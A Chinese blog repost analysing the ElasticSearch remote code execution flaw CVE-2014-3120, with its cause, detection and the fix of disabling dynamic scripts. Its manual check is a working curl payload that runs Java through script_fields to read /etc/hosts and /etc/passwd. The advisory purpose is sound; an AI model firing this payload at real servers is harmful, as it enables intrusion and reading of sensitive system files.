ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
原理
这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。
ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。
其实官方是清楚这个漏洞的,在文档里有说明:
First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.
检测方法
在线检测:
http://tool.scanv.com/es.html 可以检测任意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上
自己手动检测:
curl -XPOST 'http://localhost:9200/_search?pretty' -d ' { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } } } '
处理办法
关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:
script.disable_dynamic: true
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
官方会在1.2版本默认关闭动态脚本。
https://github.com/elasticsearch/elasticsearch/issues/5853
参考:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html
http://bouk.co/blog/elasticsearch-rce/

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Hadoop专业解决方案-第3章:MapReduce处理数据
前言:非常感谢团队的努力,最新的章节终于有了成果,因为自己的懒惰,好久没有最新的进展了,感谢群里兄弟的努力。 群名称是 Hadoop专业解决方案群 313702010 本章主要内容: 理解MapReduce基本原理 了解MapReduce应用的执行 理解MapReduce应用的设计 截止到目前,我们已经知道Hadoop如何存储数据,但Hadoop不仅仅是一个高可用 的,规模巨大的数据存储引擎,它的另一个主要特点是可以将数据存储与处理相结合。 Hadoop的核心处理模块是MapReduce,也是当前最流行的大数据处理架构之一。 它能够将Hadoop数据存储无缝的融入到数据处理当中,使得它在操作上足够简单,功能上足够强大。MapReduce已经解决很多实际问题(从日志分析,到数据排序,到文本操作,到基于模式的搜索,到图像处理,到机器学习等等)。似乎每周都会出现有关MapReduce新应用的出现。在本章,你将要学习MapReduce的今本原理,包括它的主要部件,MapReduce应用的执行过程与[sht1]如何设计MapReduce应用。 3.1 了解MapReduce MapReduce是...
- 下一篇
云计算大会有感—MapReduce和UDF
(转载请注明出处:http://blog.csdn.net/buptgshengod) 1.参会有感 首先还是非常感谢CSDN能给我票,让我有机会参加这次中国云计算峰会。感觉不写点什么对不起CSDN送我的门票(看到网上卖一千多一张呢)。 还是得从国家会议中心说起,两年前lz曾经在那当过IDF的志愿者,当时是纯体力劳动,负责给参会人员发一些杂志什么的,当时苦逼的为了多蹭一个盒饭躲到柜子后面直到开饭。真没想到两年后可以以来宾的身份参加国家会议中心的大会(虽然午餐还是苦逼的盒饭吧),这次真的可以走进主会议场聆听专家们的报告。说实话,一进主会议场看到几千个码农,都是差不多的装扮,真的有点小震撼。 听了几个院士和运营商老总的报告,最震撼的还是微软副总裁王亚勤先生的演讲,感觉挺震撼的。不得不说微软就是微软(
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2全家桶,快速入门学习开发网站教程
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- SpringBoot2整合Redis,开启缓存,提高访问速度
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- CentOS8编译安装MySQL8.0.19
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- SpringBoot2整合Thymeleaf,官方推荐html解决方案